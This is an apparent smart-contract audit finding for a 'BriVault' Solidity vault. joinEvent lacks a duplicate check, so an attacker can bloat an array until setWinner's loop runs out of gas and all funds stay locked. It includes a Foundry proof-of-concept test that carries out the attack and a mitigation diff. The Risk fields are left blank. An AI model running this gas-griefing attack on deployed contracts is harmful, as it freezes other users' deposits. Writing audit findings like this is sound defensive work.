Root + Impact
Description
-
The setWinner function is called by the owner after the event ends to declare the winning team.
-
The joinEvent function pushes msg.sender to usersAddress without duplicate check which allows a single user to bloat the array
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
@> usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
function setWinner(uint256 countryIndex) public onlyOwner returns (string memory) {
if (block.timestamp <= eventEndDate) {
revert eventNotEnded();
}
require(countryIndex < teams.length, "Invalid country index");
if (_setWinner) {
revert WinnerAlreadySet();
}
winnerCountryId = countryIndex;
winner = teams[countryIndex];
_setWinner = true;
@> _getWinnerShares();
_setFinallizedVaultBalance();
emit WinnerSet (winner);
return winner;
}
function _getWinnerShares () internal returns (uint256) {
@> for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}
modifier winnerSet () {
@> if (_setWinner != true) {
revert winnerNotSet();
}
_;
}
function withdraw() external winnerSet {
}
Risk
Likelihood:
Impact:
Proof of Concept
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/BriVault.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract GasDoSTest is Test {
BriVault public vault;
ERC20Mock public asset;
address public owner = makeAddr("owner");
address public attacker = makeAddr("attacker");
function setUp() public {
asset = new ERC20Mock();
vm.startPrank(owner);
vault = new BriVault(
asset,
300,
block.timestamp + 1 days,
makeAddr("feeAddress"),
10 * 10**18,
block.timestamp + 30 days
);
string[48] memory countries;
countries[0] = "Team A";
vault.setCountry(countries);
vm.stopPrank();
asset.mint(attacker, 100 * 10**18);
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vault.deposit(100 * 10**18, attacker);
vm.stopPrank();
}
function testGasDoSLocksAllFunds() public {
vm.startPrank(attacker);
for (uint256 i = 0; i < 5000; i++) {
vault.joinEvent(0);
}
vm.stopPrank();
vm.warp(block.timestamp + 31 days);
vm.prank(owner);
vm.expectRevert();
vault.setWinner(0);
assertEq(vault._setWinner(), false, "Winner should not be set");
vm.prank(attacker);
vm.expectRevert(BriVault.winnerNotSet.selector);
vault.withdraw();
assertGt(asset.balanceOf(address(vault)), 0, "Funds locked in vault");
}
function testGasConsumptionScalesWithArraySize() public {
uint256[] memory sizes = new uint256[](3);
sizes[0] = 100;
sizes[1] = 1000;
sizes[2] = 5000;
for (uint256 s = 0; s < sizes.length; s++) {
setUp();
vm.startPrank(attacker);
for (uint256 i = 0; i < sizes[s]; i++) {
vault.joinEvent(0);
}
vm.stopPrank();
vm.warp(block.timestamp + 31 days);
vm.prank(owner);
uint256 gasBefore = gasleft();
try vault.setWinner(0) {
uint256 gasUsed = gasBefore - gasleft();
console.log("Array size:", sizes[s], "Gas used:", gasUsed);
} catch {
console.log("Array size:", sizes[s], "OUT OF GAS");
}
}
}
}
Recommended Mitigation
+ mapping(uint256 => uint256) public countryTotalShares;
+ mapping(address => bool) public hasJoined;
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
+ if (hasJoined[msg.sender]) {
+ revert("Already joined");
+ }
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
- usersAddress.push(msg.sender);
+ countryTotalShares[countryId] += participantShares;
+ hasJoined[msg.sender] = true;
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
- function _getWinnerShares () internal returns (uint256) {
- for (uint256 i = 0; i < usersAddress.length; ++i){
- address user = usersAddress[i];
- totalWinnerShares += userSharesToCountry[user][winnerCountryId];
- }
- return totalWinnerShares;
- }
+ function _getWinnerShares () internal returns (uint256) {
+ return totalWinnerShares = countryTotalShares[winnerCountryId];
+ }